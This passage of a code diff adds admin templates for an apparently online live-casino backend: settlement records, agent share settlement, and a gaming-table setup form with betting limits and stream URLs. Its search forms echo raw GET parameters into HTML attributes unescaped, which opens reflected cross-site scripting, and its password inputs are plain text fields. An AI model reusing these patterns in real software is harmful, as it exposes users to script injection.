.page-landscape img {-webkit-animation: page-landscapeAni 1.2s ease infinite alternate; animation: page-landscapeAni 1.2s ease infinite alternate; }
|
||||
.page-landscape span {font-size: 16px; display: block; color: #FFFFFF; text-align: center; width: 100%; padding-top: 40px; line-height: 2; }
|
||||
@keyframes page-landscapeAni{0% {transform: rotate(90deg); } 30% {transform: rotate(90deg); } 70% {transform: rotate(0deg); } 100% {transform: rotate(0deg); } }
|
||||
@-webkit-keyframes page-landscapeAni{0% {-webkit-transform: rotate(90deg); } 30% {-webkit-transform: rotate(90deg); } 70% {-webkit-transform: rotate(0deg); } 100% {-webkit-transform: rotate(0deg); } }
|
||||
@-o-keyframes page-landscapeAni{0% {-o-transform: rotate(90deg); } 30% {-o-transform: rotate(90deg); } 70% {-o-transform: rotate(0deg); } 100% {-o-transform: rotate(0deg); } }
|
||||
@-ms-keyframes page-landscapeAni{0% {-ms-transform: rotate(90deg); } 30% {-ms-transform: rotate(90deg); } 70% {-ms-transform: rotate(0deg); } 100% {-ms-transform: rotate(0deg); } }
|
||||
</style>
|
||||
<div class="page-landscape" id="page-landscape" style="display: none;">
|
||||
<div class="page-landscape-box">
|
||||
<img src="/static/horizontal/img/sideways.png" id="page-landscape-pic" style="display:inline-block;" width="114" height="60">
|
||||
<span>为了更好的体验,请使用横屏浏览</span>
|
||||
</div>
|
||||
</div>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
@@ -0,0 +1,125 @@
|
||||
{include file="public/header"}
|
||||
<style>
|
||||
.x-body .layui-row{ margin-top:-10px; line-height:25px; background:#f5f5f5; border-radius:10px; }
|
||||
.x-body .layui-row .xblock button{ margin-top:-20px; }
|
||||
.x-body .layui-form{ margin-top:15px; margin-bottom:12px; }
|
||||
.x-body .layui-form .layui-input-block{ display:inline-block; width:150px; margin-left:0; }
|
||||
.x-body .layui-form .layui-form-item{ display:inline-block; margin-left:0; }
|
||||
.x-body .layui-form .layui-form-item .layui-form-label{ width:48px; }
|
||||
.x-body .layui-form .layui-form-item .layui-input-block{ margin-left:-10px; width:100px; }
|
||||
.x-body .layui-form .layui-form-item .layui-input-block .layui-form-radio i{ margin-right:4px; }
|
||||
.x-body .layui-form .layui-form-item .layui-form-radio{ margin-top:6px; margin-right:-8px; }
|
||||
.layui-input-block dl{ text-align:left; }
|
||||
.x-so{ margin:0; }
|
||||
.x-so input.layui-input{ width:150px; }
|
||||
.x-nav{overflow: inherit; } .x-nav .refresh{margin-right: 20px; }
|
||||
.change_box .actived{border-right:1px solid #e5e5e5;border-left:1px solid #e5e5e5;border-top:1px solid #e5e5e5; position: relative; color: #3daae9; }
|
||||
.change_box .actived:after{content: ""; bottom: -2px; background: #fff; width: 100%; height: 5px; position: absolute; left: 0; }
|
||||
.change_box a{font-size: 14px;padding: 10.5px 10px;}
|
||||
</style>
|
||||
<body>
|
||||
<div class="x-nav" style="padding: 0px;">
|
||||
<span class="change_box">
|
||||
<a href="javascript:;" class="list-one actived" data-id="1">结算记录</a>
|
||||
</span>
|
||||
<a class="layui-btn layui-btn-small refresh" style="line-height:1.6em;margin-top:3px;float:right"
|
||||
href="javascript:location.replace(location.href);" title="刷新">
|
||||
<i class="layui-icon" style="line-height:30px">ဂ</i></a>
|
||||
</div>
|
||||
<br>
|
||||
<div class="x-body">
|
||||
<div class="layui-row">
|
||||
<form class="layui-form layui-col-md12 x-so float-left" action="/cs/cs_check" method="get">
|
||||
<input class="layui-input" placeholder="开始日" name="startDate" id="start" value="<?php if(isset($get['startDate'])) {echo $get['startDate'];} ?>">
|
||||
<input class="layui-input" placeholder="截止日" name="endDate" id="end" value="<?php if(isset($get['endDate'])) {echo $get['endDate'];} ?>">
|
||||
<div class="layui-input-block" >
|
||||
<select name="admin_or_agent" id="admin_or_agent">
|
||||
<option value="">全部结算记录</option>
|
||||
<option value="1" <?php if(isset($get['admin_or_agent']) && $get['admin_or_agent'] == 1) {echo 'selected';} ?>>查询总台操作结算记录</option>
|
||||
</select>
|
||||
</div>
|
||||
<input type="text" name="username" id="username" placeholder="请输入用户名" autocomplete="off" class="layui-input" value="<?php if(isset($get['username'])) {echo $get['username'];} ?>">
|
||||
<button class="layui-btn" lay-submit="" lay-filter="sreach"><i class="layui-icon"></i></button>
|
||||
<span class="layui-btn" id="export">导出 excel</span>
|
||||
</form>
|
||||
</div>
|
||||
|
||||
<table class="layui-table">
|
||||
<thead>
|
||||
<tr>
|
||||
<th>用户名</th>
|
||||
<th>占成(%)</th>
|
||||
<th>占股结算金额</th>
|
||||
<th>操作人</th>
|
||||
<th>结算时间</th>
|
||||
<th>备注</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
{foreach name="cs_list" item="vo"}
|
||||
<tr>
|
||||
<td>{$vo.username}</td>
|
||||
<td>{$vo.agent_cs}</td>
|
||||
<td>{$vo.share_amount}</td>
|
||||
<td>{$vo.connection_username}</td>
|
||||
<td>{$vo.create_time}</td>
|
||||
<td>{$vo.admin_or_agent_msg}</td>
|
||||
</tr>
|
||||
{/foreach}
|
||||
</tbody>
|
||||
</table>
|
||||
{$cs_list->render()}
|
||||
</div>
|
||||
<script>
|
||||
// 时间选择器
|
||||
layui.use('laydate', function () {
|
||||
var laydate = layui.laydate;
|
||||
|
||||
// 开始时间
|
||||
laydate.render({
|
||||
elem: '#start',
|
||||
type: 'datetime'
|
||||
});
|
||||
|
||||
// 结束时间
|
||||
laydate.render({
|
||||
elem: '#end',
|
||||
type: 'datetime'
|
||||
});
|
||||
});
|
||||
|
||||
/**
|
||||
* 封装 AJAX 函数
|
||||
* @param url 目标地址
|
||||
* @param query 参数
|
||||
* @returns {string}
|
||||
*/
|
||||
function ajax(url, query) {
|
||||
var returnData = "";
|
||||
$.ajax({
|
||||
url: url,
|
||||
data: query,
|
||||
type: 'POST',
|
||||
dataType: 'JSON',
|
||||
async: false,
|
||||
success: function (data) {
|
||||
returnData = data;
|
||||
}
|
||||
});
|
||||
return returnData;
|
||||
}
|
||||
|
||||
// 导出excel
|
||||
$('#export').click(function(){
|
||||
var startDate = $('#start').val();
|
||||
var endDate = $('#end').val();
|
||||
var username = $('#username').val();
|
||||
layer.confirm('确定导出 excel 吗?',function(index){
|
||||
location.href = "/cs/cs_check?export=1&{$query}";
|
||||
layer.close(index);
|
||||
});
|
||||
})
|
||||
</script>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
@@ -0,0 +1,177 @@
|
||||
{include file="public/header"}
|
||||
<style>
|
||||
.x-body .layui-row{ margin-top:-10px; line-height:25px; background:#f5f5f5; border-radius:10px; }
|
||||
.x-body .layui-row .xblock button{ margin-top:-20px; }
|
||||
.x-body .layui-form{ /*margin-top:15px; margin-bottom:-5px;*/ padding: 10px 0; }
|
||||
.x-body .layui-form .layui-input-block{ display:inline-block; width:150px; margin-left:0; }
|
||||
.x-body .layui-form .layui-form-item{ display:inline-block; margin-left:0; }
|
||||
.x-body .layui-form .layui-form-item .layui-form-label{ width:48px; }
|
||||
.x-body .layui-form .layui-form-item .layui-input-block{ margin-left:-10px; width:100px; }
|
||||
.x-body .layui-form .layui-form-item .layui-input-block .layui-form-radio i{ margin-right:4px; }
|
||||
.x-body .layui-form .layui-form-item .layui-form-radio{ margin-top:6px; margin-right:-8px; }
|
||||
.layui-input-block dl{ text-align:left; }
|
||||
.x-so{ margin:0; }
|
||||
.x-so input.layui-input{ width:150px; }
|
||||
.x-nav{overflow: inherit; } .x-nav .refresh{margin-right: 20px; }
|
||||
.change_box .actived{border-right:1px solid #e5e5e5;border-left:1px solid #e5e5e5;border-top:1px solid #e5e5e5; position: relative; color: #3daae9; }
|
||||
.change_box .actived:after{content: ""; bottom: -2px; background: #fff; width: 100%; height: 5px; position: absolute; left: 0; }
|
||||
.change_box a{font-size: 14px;padding: 10.5px 10px;}
|
||||
|
||||
.alert{position:fixed; top:30%; left:30%; width:600px; min-height:320px; background:#fff; border:1px solid #e2e2e2; border-radius:5px; display:none;}
|
||||
.alert-title{background:#F2F2F2; height:40px; padding-left:30px; line-height:40px; font-size:14px; border-bootom:1px solid #F2F2F2;}
|
||||
.alert-main th{width:40%;}
|
||||
.alert-footer{padding:20px; text-align:center;}
|
||||
.alert-footer span{padding:10px 30px; display:inline-block; border-radius:5px; cursor:pointer;}
|
||||
</style>
|
||||
<body>
|
||||
<div class="x-nav" style="padding: 0px;">
|
||||
<span class="change_box">
|
||||
<a href="javascript:;" class="list-one actived" data-id="1">占股管理</a>
|
||||
</span>
|
||||
<a class="layui-btn layui-btn-small refresh" style="line-height:1.6em;margin-top:3px;float:right" href="javascript:location.replace(location.href);" title="刷新"><i class="layui-icon" style="line-height:30px">ဂ</i></a>
|
||||
</div>
|
||||
<br>
|
||||
<div class="x-body">
|
||||
<div class="layui-row">
|
||||
<form class="layui-form layui-col-md12 x-so float-left" action="/cs/index" method="get">
|
||||
<input class="layui-input" placeholder="开始时间" name="startDate" id="start" value="<?php if(isset($get['startDate'])) {echo $get['startDate'];} ?>">
|
||||
<input class="layui-input" placeholder="结束时间" name="endDate" id="end" value="<?php if(isset($get['endDate'])) {echo $get['endDate'];} ?>">
|
||||
<input type="text" name="username" id="username" placeholder="请输入用户名" autocomplete="off" class="layui-input" value="<?php if(isset($get['username'])) {echo $get['username'];} ?>">
|
||||
<button class="layui-btn" lay-submit="" lay-filter="sreach"><i class="layui-icon"></i></button>
|
||||
</form>
|
||||
</div>
|
||||
|
||||
<table class="layui-table">
|
||||
<thead>
|
||||
<tr>
|
||||
<th>用户名</th>
|
||||
<th>联系人</th>
|
||||
<th>上级代理</th>
|
||||
<th>商户余额</th>
|
||||
<th>占股比例(%)</th>
|
||||
<th>占股数目</th>
|
||||
<th>已结占股数目</th>
|
||||
<th>未结占股数目</th>
|
||||
<th>上一次结算时间</th>
|
||||
<th>操作</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
{foreach name="agent_list" item="vo"}
|
||||
<tr>
|
||||
<td>{$vo.username}</td>
|
||||
<td>{$vo.nickname}</td>
|
||||
{if condition="$vo.agent_parent_id > 0"}
|
||||
<td>{$vo.agent_parent_username}({$vo.agent_parent_nickname})</td>
|
||||
{else}
|
||||
<td>-</td>
|
||||
{/if}
|
||||
<td>{$vo.money}</td>
|
||||
<td>{$vo.agent_cs} %</td>
|
||||
<td>{$vo.total_share_amount}</td>
|
||||
<td>{$vo.checkout_share_amount}</td>
|
||||
<td>{$vo.no_checkout_share_amount}</td>
|
||||
<td>{$vo.last_cs_time}</td>
|
||||
<td class="td-manage">
|
||||
<a href="javascript:void(0);">
|
||||
<span class="layui-btn layui-btn-normal layui-btn-mini" style="background:#ff5050;" href="javascript:void(0)" data-userid="{$vo.id}"
|
||||
data-username="{$vo.username}" data-nickname="{$vo.nickname}" data-total_share_amount="{$vo.total_share_amount}"
|
||||
data-agent_cs="{$vo.agent_cs}%" data-checkout_share_amount="{$vo.checkout_share_amount}"
|
||||
data-no_checkout_share_amount="{$vo.no_checkout_share_amount}"
|
||||
data-lastCheckOutTime="{$vo.last_cs_time}"
|
||||
onclick="showXima(this,'alert_xima')">结算占股</span>
|
||||
</a>
|
||||
</td>
|
||||
</tr>
|
||||
{/foreach}
|
||||
</tbody>
|
||||
</table>
|
||||
{$agent_list->render()}
|
||||
</div>
|
||||
<div class="alert" id="alert_xima">
|
||||
<div class="alert-title">洗码</div>
|
||||
<div class="alert-main">
|
||||
<table class="layui-table" style="margin:0;">
|
||||
<tr><th style="border-left:none; text-align:right;">账号:</th><td style="border-right:none;" id="cs_username"></td></tr>
|
||||
<tr><th style="border-left:none; text-align:right;">用户名:</th><td style="border-right:none;" id="cs_nickname"></td></tr>
|
||||
<tr><th style="border-left:none; text-align:right;">未结占股:</th><td style="border-right:none;" id="cs_nocheckout_maliang"></td></tr>
|
||||
<tr><th style="border-left:none; text-align:right;">上一次结算时间:</th><td style="border-right:none;" id="cs_last_checkout_time"></td></tr>
|
||||
</table>
|
||||
</div>
|
||||
<div class="alert-footer">
|
||||
<input type="hidden" id="xm_user_id" value="" />
|
||||
<span class="input_button" onclick="postXima()" style="background:#009688; color:#fff;">确定结算</span>
|
||||
<span class="input_button" style="margin-left: 20%; background:#f2f2f2; border:1px solid #e2e2e2;" onclick="hiddenForm('alert_xima')">取消结算</span>
|
||||
</div>
|
||||
</div>
|
||||
<script>
|
||||
// 时间选择器
|
||||
layui.use('laydate', function () {
|
||||
var laydate = layui.laydate;
|
||||
|
||||
// 开始时间
|
||||
laydate.render({
|
||||
elem: '#start',
|
||||
type: 'datetime'
|
||||
});
|
||||
|
||||
// 结束时间
|
||||
laydate.render({
|
||||
elem: '#end',
|
||||
type: 'datetime'
|
||||
});
|
||||
});
|
||||
|
||||
//弹出洗码窗口
|
||||
function showXima(obj, id) {
|
||||
$('#' + id).show();
|
||||
$('#xm_user_id').val($(obj).attr("data-userid"));
|
||||
$('#cs_username').html($(obj).attr("data-username"));
|
||||
$('#cs_nickname').html($(obj).attr("data-nickname"));
|
||||
$('#cs_nocheckout_maliang').html($(obj).attr("data-no_checkout_share_amount"));
|
||||
$('#cs_last_checkout_time').html($(obj).attr("data-lastCheckOutTime"));
|
||||
}
|
||||
//点击隐藏表单弹窗
|
||||
function hiddenForm(id) {
|
||||
$('#' + id).hide();
|
||||
}
|
||||
//处理洗码
|
||||
function postXima() {
|
||||
layer.confirm('是否对该账号进行占股结算?', {
|
||||
btn: ['是','否'] //按钮
|
||||
}, function(){
|
||||
var query = new Object();
|
||||
if ($('#xm_user_id').val() > 0) {
|
||||
query.user_id = $('#xm_user_id').val();
|
||||
} else {
|
||||
layer.alert('结算出错');
|
||||
return false;
|
||||
}
|
||||
if (parseFloat($('#cs_nocheckout_maliang').html()) > 0 || parseFloat($('#cs_nocheckout_maliang').html()) < 0) {
|
||||
query.total = parseFloat($('#cs_nocheckout_maliang').html());
|
||||
} else {
|
||||
layer.alert('占股结算数目不能等于0');
|
||||
return false;
|
||||
}
|
||||
var url = '/cs/do_cs';
|
||||
$.ajax({
|
||||
url: url,
|
||||
data: query,
|
||||
dataType: "json",
|
||||
type: "POST",
|
||||
success: function (data) {
|
||||
if (data.errorCode === 0) {
|
||||
layer.alert('结算成功',function(){
|
||||
window.location.reload();
|
||||
});
|
||||
} else {
|
||||
layer.alert(data.errorMessage);
|
||||
}
|
||||
}
|
||||
})
|
||||
});
|
||||
}
|
||||
</script>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
@@ -0,0 +1,571 @@
|
||||
{include file="public/header"}
|
||||
<body>
|
||||
<style type="text/css"> textarea, input[type="text"], input[type="password"],.uneditable-input{border: 1px solid #ccc;background-color: #fff; } .change_box a{font-size: 14px;padding: 10.5px 10px;} .change_box .table_add{border-right:1px solid #e5e5e5;border-top:1px solid #e5e5e5; position: relative;border-left: 1px solid #e5e5e5;} .change_box .table_list{color: #3daae9;} .change_box .table_add:after{content: ""; bottom: -2px; background: #fff; width: 100%; height: 5px; position: absolute; left: 0; } .x-nav{overflow: inherit; } .x-nav .refresh{margin-right: 20px; } .control-group{overflow: hidden; margin-bottom: 8px; padding-bottom: 8px; border-bottom: 1px dotted #dddddd; } .control-label{float: left; padding-top: 3px; width: 160px; text-align: right; font-size: 14px; } .controls{text-align: left; overflow-x: auto; overflow-y: hidden; margin-left: 180px; } .controls input{width: 700px; height: 24px; font-size: 14px; border-radius: 4px; padding-left:6px; } .controls textarea{width: 400px; height: 90px; border-radius: 4px; } .form-horizontal{margin: 0 10px; } .bottom-buttom{border-top: 1px solid #e5e5e5; margin-top: 20px; background-color: #f5f5f5; padding: 30px 0; } .add_submit{width: 50px; text-align: center; background-color:#3daae9; color: #fff; padding: 5px 10px; font-size: 16px; border-radius: 4px; cursor:pointer; } .layui-input-block{display:inline-block; width:200px; margin-left:0;min-height: 26px;} select{height: 26px;} .right_word{font-size: 14px;padding-top: 3px;}.is_check{font-size: 14px;} .is_check input{width: 20px;height: 14px;font-size: 14px;}</style>
|
||||
<div class="x-nav" style="padding: 0px;">
|
||||
<span class="change_box">
|
||||
<a href="/game/index" class="table_list">吧台列表</a>
|
||||
<a href="javascript:;" class="table_add">吧台添加</a>
|
||||
</span>
|
||||
<a class="layui-btn layui-btn-small refresh" style="line-height:1.6em;margin-top:3px;float:right"
|
||||
href="javascript:location.replace(location.href);" title="刷新">
|
||||
<i class="layui-icon" style="line-height:30px">ဂ</i></a>
|
||||
</div>
|
||||
<br>
|
||||
<div class="info_from" class="form-horizontal">
|
||||
<div class="control-group">
|
||||
<label class="control-label">桌台号:</label>
|
||||
<div class="controls">
|
||||
<input id="table_num" name="table_name" type="text" style="width:80px;" class="required" onkeyup="value=value.replace(/[^\d]/g,'')">
|
||||
<span class="help-inline">
|
||||
<font color="red">*只能填大于0的数字</font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">桌台名称:</label>
|
||||
<div class="controls">
|
||||
<input id="table_name" name="table_name" type="text" style="width:192px;" class="required">
|
||||
<span class="help-inline">
|
||||
<font color="red">*</font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">游戏名称:</label>
|
||||
<div class="controls">
|
||||
<div class="layui-input-block" >
|
||||
<select name="game_id" id="game_id">
|
||||
<option value="" selected>--请选择游戏名称--</option>
|
||||
<option value="1">百家乐</option>
|
||||
<option value="2">龙虎斗</option>
|
||||
<option value="4">牛牛</option>
|
||||
<option value="5">三卡牛牛</option>
|
||||
<option value="6">色碟</option>
|
||||
<option value="7">骰宝</option>
|
||||
<!--
|
||||
<option value="8">轮盘</option>
|
||||
-->
|
||||
</select>
|
||||
</div>
|
||||
<span class="help-inline">
|
||||
<font color="red">*</font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group" id="is_mode" style="display: none;">
|
||||
<label class="control-label">游戏模式:</label>
|
||||
<div class="controls">
|
||||
<div class="layui-input-block" >
|
||||
<select name="mode" id="mode">
|
||||
<option value="" selected>--请选择游戏模式--</option>
|
||||
<option value="1">抽佣模式</option>
|
||||
<option value="2">免佣模式</option>
|
||||
</select>
|
||||
</div>
|
||||
<span class="help-inline">
|
||||
<font color="red">*</font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">投注方式:</label>
|
||||
<div class="controls">
|
||||
<div class="layui-input-block" >
|
||||
<select name="bet_type" id="bet_type">
|
||||
<option value="0">--请选择投注方式--</option>
|
||||
<option value="1">网络投注</option>
|
||||
<option value="2">电话投注</option>
|
||||
<!--
|
||||
<option value="3">所有投注</option>
|
||||
-->
|
||||
</select>
|
||||
</div>
|
||||
<span class="help-inline">
|
||||
<font color="red">*</font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">座位数:</label>
|
||||
<div class="controls">
|
||||
<div class="layui-input-block" >
|
||||
<select name="seat_num" id="seat_num">
|
||||
<option value="0">--请选择座位数--</option>
|
||||
<option value="1">1</option>
|
||||
<option value="2">2</option>
|
||||
<option value="3">3</option>
|
||||
<option value="3">4</option>
|
||||
<option value="3">5</option>
|
||||
<option value="3">6</option>
|
||||
<option value="3">7</option>
|
||||
<option value="3">8</option>
|
||||
</select>
|
||||
</div>
|
||||
<span class="help-inline">
|
||||
<font color="red">*</font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="control-group">
|
||||
<label class="control-label">本地识别设备IP:</label>
|
||||
<div class="controls">
|
||||
<input id="media_near_rtmp" name="media_near_rtmp" type="text" value='' maxlength="255" minlength="3" class="required">
|
||||
<span class="help-inline">
|
||||
<font color="red">* 不填默认为空</font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="control-group">
|
||||
<label class="control-label">本地荷官端视频[flv]:</label>
|
||||
<div class="controls">
|
||||
<input id="media_far_rtmp" name="media_far_rtmp" type="text" value='' maxlength="255" minlength="3" class="required">
|
||||
<span class="help-inline">
|
||||
<font color="red">* 不填默认为空</font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">高清[live/hd.flv]:</label>
|
||||
<div class="controls">
|
||||
<input id="media_far_flv" name="media_far_flv" type="text" value='' maxlength="255" minlength="3" class="required">
|
||||
<span class="help-inline">
|
||||
<font color="red">* 不填默认为空</font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">标清[live/sd.flv]:</label>
|
||||
<div class="controls">
|
||||
<input id="media_far_ws" name="media_far_ws" type="text" value='' maxlength="255" minlength="3" class="required">
|
||||
<span class="help-inline">
|
||||
<font color="red">* 不填默认为空</font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">线路一:</label>
|
||||
<div class="controls">
|
||||
<input id="media_near_flv" name="media_near_flv" type="text" value='' maxlength="255" minlength="3" class="required">
|
||||
<span class="help-inline">
|
||||
<font color="red">* 不填默认为空</font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">线路二:</label>
|
||||
<div class="controls">
|
||||
<input id="media_near_ws" name="media_near_ws" type="text" value='' maxlength="255" minlength="3" class="required">
|
||||
<span class="help-inline">
|
||||
<font color="red">* 不填默认为空[如无,可填入线路一]</font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!--
|
||||
<div class="control-group" style="display: none;">
|
||||
<label class="control-label">近景视频地址_RTMP[已废]:</label>
|
||||
<div class="controls">
|
||||
<input id="media_near_rtmp" name="media_near_rtmp" type="text" value='' maxlength="255" minlength="3" class="required">
|
||||
<span class="help-inline">
|
||||
<font color="red">* 不填默认为空</font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
-->
|
||||
|
||||
<div class="control-group">
|
||||
<label class="control-label">网络-庄闲限红:</label>
|
||||
<div class="controls">
|
||||
<input id="min_bankerplayer" name="min_bankerplayer" type="text" value='' maxlength="50" minlength="3" class="required" style="width: 80px;" onkeyup="value=value.replace(/[^\d]/g,'')">
|
||||
-
|
||||
<input id="max_bankerplayer" name="max_bankerplayer" type="text" value='' maxlength="50" minlength="3" class="required" style="width: 80px;" onkeyup="value=value.replace(/[^\d]/g,'')">
|
||||
<span class="help-inline">
|
||||
<font color="red">*</font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group" id="w_tie" style="display: block">
|
||||
<label class="control-label" >网络-和限红:</label>
|
||||
<div class="controls">
|
||||
<input id="min_tie" name="min_tie" type="text" value='' maxlength="50" minlength="3" class="required" style="width: 80px;" onkeyup="value=value.replace(/[^\d]/g,'')">
|
||||
-
|
||||
<input id="max_tie" name="max_tie" type="text" value='' maxlength="50" minlength="3" class="required" style="width: 80px;" onkeyup="value=value.replace(/[^\d]/g,'')">
|
||||
<span class="help-inline">
|
||||
<font color="red">*</font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group" id="w_pair" style="display: block">
|
||||
<label class="control-label" >网络-对限红:</label>
|
||||
<div class="controls">
|
||||
<input id="min_pair" name="min_pair" type="text" value='' maxlength="50" minlength="3" class="required" style="width: 80px;" onkeyup="value=value.replace(/[^\d]/g,'')">
|
||||
-
|
||||
<input id="max_pair" name="max_pair" type="text" value='' maxlength="50" minlength="3" class="required" style="width: 80px;" onkeyup="value=value.replace(/[^\d]/g,'')">
|
||||
<span class="help-inline">
|
||||
<font color="red">*</font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">桌子单口最大庄闲限红:</label>
|
||||
<div class="controls">
|
||||
<input id="limit_money_total" name="limit_money_total" type="text" value='' maxlength="50" minlength="3" class="required" style="width: 80px;" onkeyup="value=value.replace(/[^\d]/g,'')">
|
||||
<span class="help-inline">
|
||||
<font color="red">*0为不设上限</font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group" id="total_tie" style="display: block">
|
||||
<label class="control-label" >桌子单口最大和限红:</label>
|
||||
<div class="controls">
|
||||
<input id="limit_money_tie_total" name="limit_money_tie_total" type="text" value='' maxlength="50" minlength="3" class="required" style="width: 80px;" onkeyup="value=value.replace(/[^\d]/g,'')">
|
||||
<span class="help-inline">
|
||||
<font color="red">*0为不设上限</font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group" id="total_pair" style="display: block">
|
||||
<label class="control-label" >桌子单口最大对限红:</label>
|
||||
<div class="controls">
|
||||
<input id="limit_money_pair_total" name="limit_money_pair_total" type="text" value='' maxlength="50" minlength="3" class="required" style="width: 80px;" onkeyup="value=value.replace(/[^\d]/g,'')">
|
||||
<span class="help-inline">
|
||||
<font color="red">*0为不设上限</font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">下注时间:</label>
|
||||
<div class="controls">
|
||||
<input id="wait_time" name="wait_time" type="text" value='' maxlength="50" minlength="3" class="required" style="width: 120px;" placeholder="空白则默认30秒" onkeyup="value=value.replace(/[^\d]/g,'')">
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group" id="rob_time_box" style="display: none;">
|
||||
<label class="control-label">等待抢庄时间:</label>
|
||||
<div class="controls">
|
||||
<input id="rob_time" name="rob_time" type="text" value='' maxlength="50" minlength="3" class="required" style="width: 120px;" placeholder="空白则默认8秒" onkeyup="value=value.replace(/[^\d]/g,'')">
|
||||
<span class="help-inline">
|
||||
<font color="red">* 前三秒为提示准备时间,剩余时间为抢庄时间</font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">是否扫牌:</label>
|
||||
<div class="controls">
|
||||
<div class="right_word">
|
||||
<div class="is_check" id="scavenging">
|
||||
<input name="scavenging" type="radio" value="1" />是
|
||||
<input name="scavenging" type="radio" value="0" checked="checked" />否
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group" id="is_rob_box" style="display: none;">
|
||||
<label class="control-label">是否抢庄:</label>
|
||||
<div class="controls">
|
||||
<div class="right_word">
|
||||
<div class="is_check" id="rob">
|
||||
<input name="rob" type="radio" value="1" />是
|
||||
<input name="rob" type="radio" value="0" checked="checked" />否
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group" id="limit_banker_amount_box" style="display: none;">
|
||||
<label class="control-label">上庄金额:</label>
|
||||
<div class="controls">
|
||||
<input id="limit_banker_amount" name="limit_banker_amount" type="text" value='' maxlength="50" minlength="3" class="required" style="width: 120px;" onkeyup="value=value.replace(/[^\d]/g,'')">
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group" id="control_select" style="display: none;">
|
||||
<label class="control-label">桌子操作模式:</label>
|
||||
<div class="controls">
|
||||
<div class="layui-input-block" >
|
||||
<select name="is_localhost_control" id="is_localhost_control">
|
||||
<option value="0">联网控制</option>
|
||||
<option value="1">本地控制</option>
|
||||
</select>
|
||||
</div>
|
||||
<span class="help-inline">
|
||||
<font color="red">*独立点击台请选择联网控制</font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">桌子备注:</label>
|
||||
<div class="controls">
|
||||
<textarea id="remarks" name="remarks" maxlength="200" class="input-xlarge" rows="3"></textarea>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">账号:</label>
|
||||
<div class="controls">
|
||||
<input id="username" name="username" type="text" value='' maxlength="50" minlength="3" class="required">
|
||||
<span class="help-inline">
|
||||
<font color="red">*</font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">密码:</label>
|
||||
<div class="controls">
|
||||
<input id="newPassword" name="newPassword" type="text" value maxlength="50" minlength="3" class="required">
|
||||
<span class="help-inline">
|
||||
<font color="red">*</font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">确认密码:</label>
|
||||
<div class="controls">
|
||||
<input id="confirmNewPassword" name="confirmNewPassword" type="text" value maxlength="50" minlength="3" class="required">
|
||||
<span class="help-inline">
|
||||
<font color="red">*</font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">昵称:</label>
|
||||
<div class="controls">
|
||||
<input id="nickname" name="nickname" type="text" value='' maxlength="50" minlength="3" class="required">
|
||||
<span class="help-inline">
|
||||
<font color="red">*</font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group" style="display: none;">
|
||||
<label class="control-label">关联手机:</label>
|
||||
<div class="controls">
|
||||
<input id="phone" name="phone" type="text" value='' class="required">
|
||||
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">开牌间隔时间:</label>
|
||||
<div class="controls">
|
||||
<input id="interval_time" name="interval_time" type="text" value='' class="required">
|
||||
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">定位牌模式:</label>
|
||||
<div class="controls">
|
||||
<div class="layui-input-block" >
|
||||
<select name="card_first_type" id="card_first_type">
|
||||
<option value="0">扫牌</option>
|
||||
<option value="1">骰子</option>
|
||||
</select>
|
||||
</div>
|
||||
<span class="help-inline">
|
||||
<font color="red">*牛牛或者三卡牛牛的定位牌模式,百家乐龙虎不起作用</font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="bottom-buttom">
|
||||
<label class="control-label"></label>
|
||||
<div class="controls">
|
||||
